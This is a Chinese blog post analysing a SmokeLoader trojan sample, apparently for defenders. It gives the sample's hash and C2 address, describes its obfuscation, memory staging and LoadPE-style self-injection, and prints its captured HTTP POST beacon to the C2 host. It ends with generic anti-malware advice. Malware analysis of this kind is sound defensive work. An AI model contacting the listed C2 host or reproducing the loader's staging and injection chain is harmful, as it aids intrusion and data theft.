恶意样本分析实战——SmokeLoader_如何分析恶意样本的情况-CSDN博客

本文链接：https://blog.csdn.net/weixin_51409218/article/details/132569571

一、样本概况

MD5：72ceccc9998a49d984bf8648262304f5

文件名称：bingdu.exe

文件类型：PE32

是否加壳：无壳

编写语言：C++

IOC：

URL

138.201.88.153

恶意远控

http://138.201.88.153:8998

沙箱检测结果

微步沙盒检测结果

初步判定样本为恶意远控，SmokeLoader家族木马

使用到的工具：

X32dbg(以及ollydump插件)，IDA，火绒剑，DIE等

虚拟分析环境：

win10 虚拟机

样本恶意行为：

枚举进程模块

查询系统信息，包括用户名和计算机硬件信息

向远控IP发起HTTP post请求

存在的问题：

推测可能是样本具有反虚拟机的特性

二、详细分析：

在IDA中查看winmain反编译之后的代码，主要有两个call调用，

1. call sub_40CD60

发现内部存在大量的混淆逆向分析的无意义的代码

类似于：

在尾部找到了关键代码

以下是关于这些子函数的具体说明

sub_40C9C0

sub_40C9C0：返回加载到进程空间中的kernel32.dll 中的VirtualProtect的地址，用于修改内存的属性

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

此处通过VirtualProtect将以dword_2CC6B8C为基址，大小为71944字节的内存属性修改为可读可执行

在堆栈区观察传入的四个参数

内存基址是dword_2CC6B8C中保存的数据0x0302A260

内存大小是0x00011908,也就是71944字节

要修改的内存属性为：0x40,即可读可执行

sub_40CD30

初步判断该函数可能是用来干扰逆向人员分析的

sub_40CA60

在循环体中，能够被执行一次，查看具体的内容

该函数的作用是改变dword_2CC6B8C中保存的值

sub_40CB60

该函数载入msimg32.dll

2. call dword_2CC6B8C

在X32dbg中动态调试，获取到动态导入的函数

首先F7步进call bingdu.[2CC6B8C],

再步进第一个call,

然后步过第一个call,在堆栈区获取到动态载入的函数地址,

在步过的代码处调用LoadLibrary和GetProcAddress获取函数地址

拍摄进程快照-枚举模块

调用CreateToolhelp32Snapshot获取进程快照

根据传递的第一个参数猜测之后可能是枚举模块

并且在动态导入的函数中有Module32First

数据解密

之后对02E5E200处的数据处理，循环次数为0xA1C9

VirtualAlloc分配空间

向申请的空间中写入数据

在申请的空间写完值之后，跳转到分配空间的基址处执行

申请空间的写入的代码的具有哪些功能呢？

向0x00400000处写数据

call 0X2E80CCE将00400000处大小为0x1E000的内存部分清零

之后将02EA0000处大小为400的数据写入0x00400000中，之后跳转到eax处执行

该样本使用了LoadPe技术，自己实现了类似于Createprocess 把第二个进程的代码拷贝到00400000

使用ollydump将其转储

转储得到的文件命名为 olly_dump.exe

3. olly_dump.exe

动态初始化

在olly_dump.exe中依然存在很多混淆指令

跟进sub_401000

该函数的作用是通过loadLibrary和GetProcAddress加载各种库和函数,完成初始化工作

检查互斥量

然后是一个互斥量的判断

条件语句实现的功能是：如果存在互斥体就结束，如果不存在则创建

网络行为

解密获取url

call bingdu.4127FD实现解密数据获得C2网址

连接C2

InternetOpen初始化应用程序对 WinINet 函数的使用

sub_40FB7C连接网络服务器

发起HTTP请求，请求类型为POST

request: POST http://138.201.88.153/

data: POST / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Zadanie Host: 138.201.88.153:8998 Content-Length: 102 Connection: Keep-Alive Cache-Control: no-cache

三、总结：

1.样本的基本执行流程

2.该样本中存在大量的混淆花指令，给分析人员的逆向工作增加了难度

3.应对措施：

1. 保持更新的安全知识：随时了解最新的无文件病毒攻击技术和防护措施，以保持对抗无文件病毒的能力。
2. 及时响应和清除：一旦发现无文件病毒的存在，立即采取行动，隔离受感染的系统，并使用专业的工具进行彻底的清除和修复。
3. 监控系统活动：定期监控系统日志和活动，以及使用安全信息和事件管理系统（SIEM）等工具来检测和响应无文件病毒的活动。
4. 定期备份数据：定期备份重要数据，并将备份文件存储在离线和安全的地方，以防止无文件病毒对数据的损坏和勒索。
5. 使用行为分析工具：使用行为分析工具来监测系统中的异常活动，例如不明进程、异常的网络连接等，以及检测无文件病毒的行为模式。
6. 加强员工安全意识：教育和培训员工如何识别和避免钓鱼邮件、恶意链接和下载可疑附件，提高员工对无文件病毒的意识。
7. 强化网络安全：使用防火墙和入侵检测系统（IDS）等工具来监控和阻止无文件病毒的入侵。配置强密码和网络访问控制，限制外部访问。
8. 使用应用程序白名单：配置应用程序白名单，只允许运行经过授权的可信应用程序，以阻止未经授权的无文件病毒执行。
9. 更新操作系统和软件：及时安装操作系统和软件的安全补丁和更新，以修复可能存在的漏洞，减少被无文件病毒利用的风险。
10. 使用高级安全软件：选择一款具有高级防护功能的安全软件，例如终端安全解决方案或高级终端保护软件。这些软件通常具有专门针对无文件攻击的检测和防护机制。